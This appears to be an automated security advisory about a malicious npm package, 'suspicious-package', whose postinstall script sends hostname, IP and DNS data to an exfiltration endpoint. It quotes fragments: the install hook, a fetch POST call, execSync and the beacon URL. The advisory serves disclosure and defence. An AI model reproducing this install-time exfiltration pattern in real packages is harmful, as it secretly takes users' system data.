GCVE-110-OSM-2026-3784

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published May 8, 2026

[osmalyze-auto] Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, code execution, network activity, install-time execution. [osmalyze-auto] Entrypoint: scripts/postinstall.js (install-hook: node scripts/postinstall.js) Exfil: https://collect.research.invalid/beacon (custom-c2, recovery: plaintext in scripts/postinstall.js) Payload: scripts/postinstall.js Key findings: - OAST/Interactsh Exfiltration in scripts/postinstall.js: "webhook.site" - Fetch and Eval/Exec in scripts/postinstall.js: "fetch(ENDPOINT, { method: 'POST', headers: { 'content-type': 'appl..." - Install Hook Executes Local JS File in package.json: ""postinstall": "node scripts/postinstall.js"" - Shell Command Execution in scripts/postinstall.js: "execSync(" IOCs: - urls: https://collect.research.invalid/beacon - payloadFileHash: 47a60b0e042d79cd8d2df7e33109d60276f41bcd2c3142751a04e0d3594a5f9d

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	suspicious-package	all (affected)	—

References

Malicious npm package: suspicious-package

advisory

vendor

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